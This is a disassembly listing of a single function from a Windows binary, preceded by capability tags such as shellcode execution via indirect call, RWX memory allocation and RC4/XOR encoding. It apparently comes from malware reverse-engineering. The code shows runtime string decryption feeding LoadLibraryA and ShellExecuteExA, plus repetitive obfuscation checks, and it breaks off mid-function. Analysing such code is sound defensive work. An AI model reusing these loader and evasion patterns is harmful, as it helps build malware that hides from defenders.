Function at 0x14001ab2c
Capabilities:
Allocate or change rwx memory
Check os version
Create process on windows
Encode data using base64
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x48718]
mov eax, 0x487f0
call fcn.140089610
sub rsp, rax
mov rax, qword [0x1400e4700]
xor rax, rsp
mov qword [rbp + 0x486e0], rax
mov rax, qword gs:[0x1a]
mov r14d, 0xa77e4c99
mov r13d, 0x2226fad1
cmp rax, r13
jne 0x14001ac1f
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001abff
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001abff
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001ac1f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov ecx, r13d
call fcn.14000a704
mov rax, qword gs:[0x1a]
movabs rsi, 0x445e706a7db93494
cmp rax, r13
jne 0x14001acdb
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001acbb
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001acbb
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001acdb
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
mov ebx, 0x114209c
mov r12d, 0xd7667f7
cmp rax, r13
jne 0x14001ada0
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, r12d
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x14b092da
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001ad80
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001ad80
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001ada0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov ecx, r13d
call fcn.14001a0d0
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001ae52
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001ae32
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001ae32
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001ae52
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001aefc
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001aedc
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001aedc
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001aefc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
lea rdx, [0x1400d8be0]
lea rcx, [rbp + 0x998]
call fcn.14000a0c8
mov rdx, rax
mov ecx, r13d
call fcn.14000c3ac
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001afc4
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001afa4
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001afa4
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001afc4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001b06e
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b04e
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b04e
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b06e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov dword [rbp + 0x90], 0x1eb13846
mov dword [rbp + 0x94], 0xa761eeee
mov word [rbp + 0x98], 0x52
xor r15d, r15d
mov edi, r15d
mov qword [rsp + 0x20], 0x36d78dab
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x90]
lea rcx, [rbp + 0x90]
call fcn.14002a14c
xor al, dil
mov byte [rbp + rdi + 0x90], al
inc rdi
cmp rdi, 9
jb 0x14001b091
mov byte [rbp + 0x99], r15b
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001b187
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b167
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b167
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b187
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001b242
mov rcx, qword gs:[0x51]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x14b092da
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b222
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b222
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b242
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov dword [rbp + 0x1f0], 0x57705aaf
mov dword [rbp + 0x1f4], 0x874edd9
mov dword [rbp + 0x1f8], 0xbf037544
xor eax, eax
mov byte [rbp + 0x1fc], al
mov rdi, r15
mov qword [rsp + 0x20], 0x36d78dab
mov r9d, recv
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1f0]
lea rcx, [rbp + 0x1f0]
call fcn.140029e0c
xor al, dil
mov byte [rbp + rdi + 0x1f0], al
inc rdi
cmp rdi, 0xc
jb 0x14001b26b
mov byte [rbp + 0x1fc], r15b
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001b361
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b341
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b341
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b361
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.14001a308
test eax, eax
jne 0x14001b603
mov edi, r15d
mov ebx, 0x104
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x284c0]
call fcn.1400b2e70
mov r8d, ebx
lea rdx, [rbp + 0x284c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x14001b479
xor edx, edx
lea r8d, [rdx + 0x60]
lea rcx, [rbp + 0xed0]
call fcn.1400b2e70
mov dword [rbp + 0xec0], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0xec4], 0x400
mov qword [rbp + 0xec8], r15
mov dword [rbp - 0x70], 0x24d42b5
mov word [rbp - 0x6c], 0xe4
mov esi, 0x36d78dab
mov qword [rsp + 0x20], rsi
mov r9d, 5
mov r8, rdi
mov dl, byte [rbp + rdi - 0x70]
lea rcx, [rbp - 0x70]
call fcn.14002a0e4
xor al, dil
mov byte [rbp + rdi - 0x70], al
inc rdi
cmp rdi, 5
jb 0x14001b3e9
mov byte [rbp - 0x6b], r15b
lea rax, [rbp - 0x70]
mov qword [rbp + 0xed0], rax
lea rax, [rbp + 0x284c0]
mov qword [rbp + 0xed8], rax
mov byte [rsp + 0x61], r15b
lea rax, [rsp + 0x61]
mov qword [rbp + 0xee0], rax
mov qword [rbp + 0xee8], r15
mov dword [rbp + 0xef0], 1
mov qword [rbp + 0xef8], r15
lea rcx, [rbp + 0xec0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x140029aca
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x14001b47e
mov esi, 0x36d78dab
mov word [rsp + 0x78], 0xcb
mov qword [rsp + 0x20], rsi
mov r9d, 1
xor r8d, r8d
mov dl, 0xcb
lea rcx, [rsp + 0x78]
call fcn.140029fb4
mov byte [rsp + 0x78], al
mov byte [rsp + 0x79], r15b
mov edx, edi
lea rcx, [rbp + 0x9b8]
call fcn.14001a188
mov rbx, rax
movdqa xmm0, xmmword [0x1400da4b0]
movdqu xmmword [rbp + 0xbf8], xmm0
movdqa xmm1, xmmword [0x1400da5a0]
movdqu xmmword [rbp + 0xc08], xmm1
mov dword [rbp + 0xc18], 0xb0f8c389
mov dword [rbp + 0xc1c], 0xfedac20e
mov dword [rbp + 0xc20], 0x2689eacb
mov word [rbp + 0xc24], Ordinal_217
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WLDAP32.dll_Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbf8]
lea rcx, [rbp + 0xbf8]
call fcn.14002a07c
xor al, dil
mov byte [rbp + rdi + 0xbf8], al
inc rdi
cmp rdi, 0x2d
jb 0x14001b503
mov byte [rbp + 0xc25], r15b
mov r8, rbx
lea rdx, [rbp + 0xbf8]
lea rcx, [rbp + 0x9d8]
call fcn.14002b0b0
lea r8, [rsp + 0x78]
mov rdx, rax
lea rcx, [rbp + 0x11a8]
call fcn.14002b270
lea rcx, [rbp + 0x9d8]
call fcn.14002abc8
lea rcx, [rbp + 0x9b8]
call fcn.14002abc8
movdqa xmm0, xmmword [0x1400da4f0]
movdqu xmmword [rbp + 0x2a8], xmm0
mov word [rbp + 0x2b8], 0xad
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x2a8]
lea rcx, [rbp + 0x2a8]
call fcn.140029bfc
xor al, dil
mov byte [rbp + rdi + 0x2a8], al
inc rdi
cmp rdi, 0x11
jb 0x14001b59c
mov byte [rbp + 0x2b9], r15b
lea rcx, [rbp + 0x11a8]
call fcn.14002a81c
xor r9d, r9d
lea r8, [rbp + 0x2a8]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001b6be
mov rcx, qword gs:[0x51]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x14b092da
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b69e
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b69e
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b6be
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001b76e
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b74e
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b74e
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b76e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001b829
mov rcx, qword gs:[0x51]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x14b092da
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b809
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b809
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b829
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001b8d3
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b8b3
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b8b3
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b8d3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001b97d
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b95d
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b95d
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b97d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
xor ecx, ecx
call fcn.1400910e4
mov rbx, rax
mov word [rsp + 0x7c], 0x90
mov qword [rsp + 0x20], 0x36d78dab
mov r9d, 1
xor r8d, r8d
mov dl, 0x90
lea rcx, [rsp + 0x7c]
call fcn.140029fb4
mov byte [rsp + 0x7c], al
mov byte [rsp + 0x7d], r15b
mov dword [rbp - 0x60], 0xeecb365f
mov word [rbp - 0x5c], 0x1e86
xor eax, eax
mov byte [rbp - 0x5a], al
mov rdi, r15
mov qword [rsp + 0x20], 0x36d78dab
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x60]
lea rcx, [rbp - 0x60]
call fcn.140029e78
xor al, dil
mov byte [rbp + rdi - 0x60], al
inc rdi
cmp rdi, 6
jb 0x14001b9ca
mov byte [rbp - 0x5a], r15b
mov r9, rbx
lea r8, [rsp + 0x7c]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xe50]
call fcn.1400945c4
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001bad2
mov rcx, qword gs:[0x51]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x114209c
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x14b092da
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001bab2
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001bab2
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001bad2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001bb7c
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001bb5c
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001bb5c
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001bb7c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov ecx, 2
call fcn.1400910e4
mov rbx, rax
mov word [rbp - 0x80], __WSAFDIsSet
mov qword [rsp + 0x20], 0x36d78dab
mov r9d, 1
xor r8d, r8d
mov dl, 0x95
lea rcx, [rbp - 0x80]
call fcn.140029fb4
mov byte [rbp - 0x80], al
mov byte [rbp - 0x7f], r15b
mov dword [rbp - 0x38], 0xb4048f16
mov dword [rbp - 0x34], 0xb81869
mov rdi, r15
mov qword [rsp + 0x20], 0x36d78dab
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x38]
lea rcx, [rbp - 0x38]
call fcn.14002a014
xor al, dil
mov byte [rbp + rdi - 0x38], al
inc rdi
cmp rdi, 7
jb 0x14001bbc4
mov byte [rbp - 0x31], r15b
mov r9, rbx
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0xe50]
call fcn.1400945c4
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001bccb
mov rcx, qword gs:[0x51]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x114209c
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x14b092da
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001bcab
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001bcab
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001bccb
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001bd75
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001bd55
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001bd55
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001bd75
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov ecx, 1
call fcn.1400910e4
mov rbx, rax
mov word [rbp - 0x7c], __WSAFDIsSet
mov qword [rsp + 0x20], 0x36d78dab
mov r9d, 1
xor r8d, r8d
mov dl, 0x95
lea rcx, [rbp - 0x7c]
call fcn.140029fb4
mov byte [rbp - 0x7c], al
mov byte [rbp - 0x7b], r15b
mov dword [rbp - 0x30], 0xb4048f16
mov dword [rbp - 0x2c], 0xb81869
mov rdi, r15
mov qword [rsp + 0x20], 0x36d78dab
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x30]
lea rcx, [rbp - 0x30]
call fcn.14002a014
xor al, dil
mov byte [rbp + rdi - 0x30], al
inc rdi
cmp rdi, 7
jb 0x14001bdbd
mov byte [rbp - 0x29], r15b
mov r9, rbx
lea r8, [rbp - 0x7c]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xe50]
call fcn.1400945c4
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001beb1
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001be91
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001be91
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001beb1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001bf5b
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001bf3b
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001bf3b
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001bf5b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
movdqa xmm0, xmmword [0x1400da490]
movdqu xmmword [rbp + 0xd18], xmm0
movdqa xmm1, xmmword [str.FB]
movdqu xmmword [rbp + 0xd28], xmm1
movdqa xmm0, xmmword [0x1400da460]
movdqu xmmword [rbp + 0xd38], xmm0
mov dword [rbp + 0xd48], 0x6679a81c
mov dword [rbp + 0xd4c], 0xcbde4c87
mov dword [rbp + 0xd50], 0x90315b70
mov word [rbp + 0xd54], 0x9eb3
xor eax, eax
mov byte [rbp + 0xd56], al
mov rdi, r15
mov ebx, 0x36d78dab
mov qword [rsp + 0x20], rbx
mov r9d, 0x3e
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd18]
lea rcx, [rbp + 0xd18]
call fcn.140029f4c
xor al, dil
mov byte [rbp + rdi + 0xd18], al
inc rdi
cmp rdi, 0x3e
jb 0x14001bfc2
mov byte [rbp + 0xd56], r15b
lea rcx, [rbp + 0xd18]
call fcn.140009f6c
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001c0c6
mov rcx, qword gs:[0x51]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x114209c
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x14b092da
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c0a6
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c0a6
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001c0c6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001c170
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c150
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c150
mov rcx, qword gs:[0x51]
